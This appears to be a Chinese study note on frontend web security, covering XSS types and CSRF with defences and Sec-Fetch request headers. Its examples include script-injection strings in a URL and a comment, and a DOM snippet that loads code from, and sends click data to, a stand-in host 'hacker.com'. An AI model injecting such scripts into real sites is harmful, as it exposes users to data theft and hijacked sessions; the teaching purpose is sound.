前端网络---网络安全

「前端食堂」想进大厂必须要知道的Web安全问题 - 掘金

网络安全之xss攻击

XSS 攻击是跨站脚本攻击，是一种代码注入攻击。攻击者通过在网站注入恶意脚本，使之在用户的浏览器上运行，从而盗取用户的信息如 cookie 等。

XSS 的本质是因为网站没有对恶意代码进行过滤，与正常的代码混合在一起了，浏览器没有办法分辨哪些脚本是可信的，从而导致了恶意代码的执行。

黑客利用xss攻击可能做的事情

1、获取页面的数据，例如，dom、cookie、localStorage

2、dos攻击。发送合理请求，占用服务器资源，使用户无法访问服务器

3、破坏页面结构

4、流量劫持，将链接指向某个网站

xss攻击可以分为反射型、存储型、DOM型

反射型

恶意 JavaScript 脚本属于用户发送给网站请求中的一部分，随后网站又将这部分返回给用户，恶意脚本在页面中被执行。一般发生在前后端一体的应用中，服务端逻辑会改变最终的网页代码。

会和后段有交互

存储型

黑客将恶意 JavaScript 脚本长期保存在服务端数据库中，用户一旦访问相关页面数据，恶意脚本就会被执行。常见于搜索、微博、社区贴吧评论等。会和后段有交互

DOM型

黑客将恶意 JavaScript 脚本注入到web应用程序中，通常是指攻击者通过操作页面的DOM对象模型来改变页面的内容或行为，从而可能实施攻击。仅仅发生在前端

xss攻击的案例

反射型攻击的案例

正常发送消息：

http://www.test.com/message.php?send=Hello,World！

接收者将会接收信息并显示Hello,Word

非正常发送消息：

http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>！

接收者接收消息显示的时候将会弹出警告窗口

试想如果不是弹出弹窗而是获取你的cookie或者任何的登录标识呢？是不是就可以拿到你的信息来做一些事情呢？

存储型攻击的案例

比如用户评论功能，输入一段<script>alert(‘xss’)</script>脚本，并提交保存到服务器，由于评论具有公开性，是不是每一个进入到该网站查看评论都可以被攻击？

DOM型攻击的案例

var script = document.createElement('script');
script.src = 'http://hacker.com/malicious-code.js';
document.head.appendChild(script);

document.querySelector('a').href = 'http://hacker.com';
document.querySelector('form').action = 'http://hacker.com';

document.addEventListener('click', function(event) {
    // 发送数据到恶意网址
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://hacker.com/log-clicks', true);
    xhr.send('x=' + event.clientX + '&y=' + event.clientY);
});

比如以上代码，通过操作dom，或者监听用户的点击动作，可以添加一些有害脚本

xss三种攻击类型的区别

1、反射型的攻击存在URL中

2、存储型的攻击存在数据库中

3、DOM型的攻击主要利用web端的代码漏洞，使浏览器执行恶意代码，属于js的漏洞

xss攻击防范方法

1、输入格式校验

2、过滤<script>、<iframe>等标签

3、对要渲染的内容进行编码转义

4、限制输入长度

5、对cookie设置httphttp only

网络安全之csrf攻击

CSRF (Cross-site request forgery，跨站请求伪造)也被称为One Click Attack或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS)，但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户请求受信任的网站。

csrf攻击防范方法

1、尽量使用post请求

2、加入验证码

3、验证Referer

4、Anti  SCRF  Token

5、加入自定义的Header

一些请求头的设置

sec-fetch-site ：表示一个请求发起的来源和目标资源来源之间的关系
 cross-site：跨域请求
 same-origin：同源请求
 none： 不是同源也不是跨域，请求与任意上下文无关。比如浏览器窗口中拖放一个文件

sec-fetch-user： 表示一个导航请求是否由用户激活触发（如用户主动点击鼠标、键盘）。

Sec-Fetch-User: ?0   否                
Sec-Fetch-User: ?1   是